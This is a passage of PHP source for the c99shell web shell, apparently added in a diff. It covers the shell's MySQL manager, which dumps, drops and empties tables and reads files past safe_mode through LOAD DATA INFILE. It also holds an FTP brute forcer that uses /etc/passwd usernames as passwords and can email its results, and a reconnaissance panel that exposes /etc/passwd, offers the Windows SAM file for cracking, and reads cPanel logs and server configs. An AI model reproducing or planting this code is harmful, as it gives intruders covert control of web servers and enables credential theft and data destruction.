name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; + echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; + echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; + echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; + echo "</form>"; + } + else + { + $diplay = TRUE; + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "download"; + $set["print"] = 0; + $set["nl2br"] = 0; + $set[""] = 0; + $set["file"] = $dump_file; + $set["add_drop"] = TRUE; + $set["onlytabs"] = array(); + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + $ret = mysql_dump($set); + if ($sql_dump_download) + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($ret)); + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + echo $ret; + exit; + } + elseif ($sql_dump_savetofile) + { + $fp = fopen($sql_dump_file,"w"); + if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + else + { + fwrite($fp,$ret); + fclose($fp); + echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; + } + } + else {echo "<b>Dump: nothing to do!</b>";} + } + } + if ($diplay) + { + if (!empty($sql_tbl)) + { + if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + $count_row = mysql_fetch_array($count); + mysql_free_result($count); + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + $tbl_struct_fields = array(); + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + $perpage = $sql_tbl_le - $sql_tbl_ls; + if (!is_numeric($perpage)) {$perpage = 10;} + $numpages = $count_row[0]/$perpage; + $e = explode(" ",$sql_order); + if (count($e) == 2) + { + if ($e[0] == "d") {$asc_desc = "DESC";} + else {$asc_desc = "ASC";} + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + } + else {$v = "";} + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + $result = mysql_query($query) or print(mysql_smarterror()); + echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";} + if ($sql_tbl_act == "insert") + { + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + if (!empty($sql_tbl_insert_radio)) + { + + } + else + { + echo "<br><br><b>Inserting row into table:</b><br>"; + if (!empty($sql_tbl_insert_q)) + { + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + $sql_query .= " WHERE".$sql_tbl_insert_q; + $sql_query .= " LIMIT 1;"; + $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); + $values = mysql_fetch_assoc($result); + mysql_free_result($result); + } + else {$values = array();} + echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; + foreach ($tbl_struct_fields as $field) + { + $name = $field["Field"]; + if (empty($sql_tbl_insert_q)) {$v = "";} + echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; + $i++; + } + echo "</table><br>"; + echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; + if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} + echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; + } + } + if ($sql_tbl_act == "browse") + { + $sql_tbl_ls = abs($sql_tbl_ls); + $sql_tbl_le = abs($sql_tbl_le); + echo "<hr size=\"1\" noshade>"; + echo "[Pages]&nbsp;"; + $b = 0; + for($i=0;$i<$numpages;$i++) + { + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} + echo $i; + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} + if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} + else {echo "&nbsp;";} + } + if ($i == 0) {echo "empty";} + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>"; + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>"; + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; + for ($i=0;$i<mysql_num_fields($result);$i++) + { + $v = mysql_field_name($result,$i); + if ($e[0] == "a") {$s = "d"; $m = "asc";} + else {$s = "a"; $m = "desc";} + echo "<td>"; + if (empty($e[0])) {$e[0] = "a";} + if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} + else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\">[sort]</a>";} + echo "</td>"; + } + echo "<td><font color=\"green\"><b>Action</b></font></td>"; + echo "</tr>"; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + echo "<tr>"; + $w = ""; + $i = 0; + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; + $i = 0; + foreach ($row as $k=>$v) + { + $v = htmlspecialchars($v); + if ($v == "") {$v = "<font color=\"green\">NULL</font>";} + echo "<td>".$v."</td>"; + $i++; + } + echo "<td>"; + echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\">[Delete]</a>&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><b>[Edit]</b></a>&nbsp;"; + echo "</td>"; + echo "</tr>"; + } + mysql_free_result($result); + echo "</table><hr size=\"1\" noshade><p align=\"left\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"deleterow\">Delete</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + } + } + else + { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + $tsize += $row["Data_length"]; + $trows += $row["Rows"]; + $size = view_size($row["Data_length"]); + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>"; + echo "<td>".$row["Rows"]."</td>"; + echo "<td>".$row["Type"]."</td>"; + echo "<td>".$row["Create_time"]."</td>"; + echo "<td>".$row["Update_time"]."</td>"; + echo "<td>".$size."</td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\">[Empty]</a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\">[Drop]</a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><b>[Insert]</b></a>&nbsp;</td>"; + echo "</tr>"; + $i++; + } + echo "<tr bgcolor=\"000000\">"; + echo "<td><center><b>?/b></center></td>"; + echo "<td><center><b>".$i." table(s)</b></center></td>"; + echo "<td><b>".$trows."</b></td>"; + echo "<td>".$row[1]."</td>"; + echo "<td>".$row[10]."</td>"; + echo "<td>".$row[11]."</td>"; + echo "<td><b>".view_size($tsize)."</b></td>"; + echo "<td></td>"; + echo "</tr>"; + echo "</table><hr size=\"1\" noshade><p align=\"right\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"tbldrop\">Drop</option>"; + echo "<option value=\"tblempty\">Empty</option>"; + echo "<option value=\"tbldump\">Dump</option>"; + echo "<option value=\"tblcheck\">Check table</option>"; + echo "<option value=\"tbloptimize\">Optimize table</option>"; + echo "<option value=\"tblrepair\">Repair table</option>"; + echo "<option value=\"tblanalyze\">Analyze table</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + mysql_free_result($result); + } + } + } + } + } + else + { + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DataBase:</b> + <form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php } + if (!empty($sql_act)) + { + echo "<hr size=\"1\" noshade>"; + if ($sql_act == "newdb") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + if ($sql_act == "serverstatus") + { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "<center><b>Server-status variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table></center>"; + mysql_free_result($result); + } + if ($sql_act == "servervars") + { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "<center><b>Server variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "processes") + { + if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";} + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "<center><b>Processes:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "getfile") + { + $tmpdb = $sql_login."_tmpdb"; + $select = mysql_select_db($tmpdb); + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + if ($select) + { + $created = FALSE; + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + $result = mysql_query("SELECT * FROM tmp_file;"); + if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} + else + { + for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} + $f = ""; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} + if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} + else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} + mysql_free_result($result); + mysql_query("DROP TABLE tmp_file;"); + } + } + mysql_drop_db($tmpdb); //comment it if you want to leave database + } + } + } + } + echo "</td></tr></table>"; + if ($sql_sock) + { + $affected = @mysql_affected_rows($sql_sock); + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>"; + } + echo "</table>"; +} +if ($act == "mkdir") +{ + if ($mkdir != $d) + { + if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";} + elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";} + echo "<br><br>"; + } + $act = $dspact = "ls"; +} +if ($act == "ftpquickbrute") +{ + echo "<b>FTP Brute Forcer: </b><br>"; + if (!win) {echo "This functions not work in Windows!<br><br>";} + else + { + function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) + { + if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} + else {$TRUE = TRUE;} + if ($TRUE) + { + $sock = @ftp_connect($host,$port,$timeout); + if (@ftp_login($sock,$login,$pass)) + { + echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; + ob_flush(); + return TRUE; + } + } + } + if (!empty($submit)) + { + if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} + $fp = fopen("/etc/passwd","r"); + if (!$fp) {echo "Can't get /etc/passwd for password-list.";} + else + { + if ($fqb_logging) + { + if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} + else {$fqb_logfp = FALSE;} + $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; + if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + } + ob_flush(); + $i = $success = 0; + $ftpquick_st = getmicrotime(); + while(!feof($fp)) + { + $str = explode(":",fgets($fp,2048)); + if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) + { + echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>"; + $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + $success++; + ob_flush(); + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>"; + $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);} + fclose($fqb_logfp); + } + } + else + { + $logfile = $tmpdir_logs."ftpquickbrute_".date("d.m.Y_H_i_s").".log"; + $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>"; + } + } +} +if ($act == "d") +{ + if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";} + else + { + echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d)); + $gr = posix_getgrgid(filegroup($d)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>"; + } +} +if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();} +if ($act == "security") +{ + echo "<center><b>Server Information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>"; + if (!$win) + { + if ($nixpasswd) + { + if ($nixpasswd == 1) {$nixpasswd = 0;} + echo "<b>*nix /etc/passwd:</b><br>"; + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>"; + $i = $nixpwd_s; + while ($i < $nixpwd_e) + { + $uid = posix_getpwuid($i); + if ($uid) + { + $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; + echo join(":",$uid)."<br>"; + } + $i++; + } + } + else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";} + } + else + { + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";} + else {echo "</br><b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ?</font></b><br>";} + } + if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";} + if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";} + if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";} + if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";} + function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}} + displaysecinfo("OS Version?",myshellexec("cat /proc/version")); + displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); + displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); + displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); + displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); + displaysecinfo("RAM",myshellexec("free -m")); + displaysecinfo("HDD space",myshellexec("df -h")); + displaysecinfo("List of Attributes",myshellexec("lsattr -a")); + displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); + displaysecinfo("Is cURL installed?",myshellexec("which curl")); + displaysecinfo("Is lynx installed?",myshellexec("which lynx")); + displaysecinfo("Is links installed?",myshellexec("which links")); + displaysecinfo("Is fetch installed?",myshellexec("which fetch")); + displaysecinfo("Is GET installed?",myshellexec("which GET")); + displaysecinfo("Is perl installed?",myshellexec("which perl")); + displaysecinfo("Where is apache",myshellexec("whereis apache")); + displaysecinfo("Where is perl?",myshellexec("whereis perl")); + displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); + displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); + displaysecinfo("locate my.conf",myshellexec("locate my.conf")); + displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); +} +if ($act == "mkfile") +{ + if ($mkfile != $d) + { + if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";} + elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";} + else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} + } + else {$act = $dspact = "ls";} +} +if ($act == "encoder") +{ + echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><b>Encoder:</b></br></br><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><br><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br><b>Hashes</b>:</br></br>"; + foreach(array("md5","crypt","sha1","crc32") as $v) + { + echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>"; + } + echo "</br><b>Url:</b><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly> + <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly> + </br></br><b>Base64:</b></br> base64_encode - <input type=text size=35 onFocus=\"this.select()\" 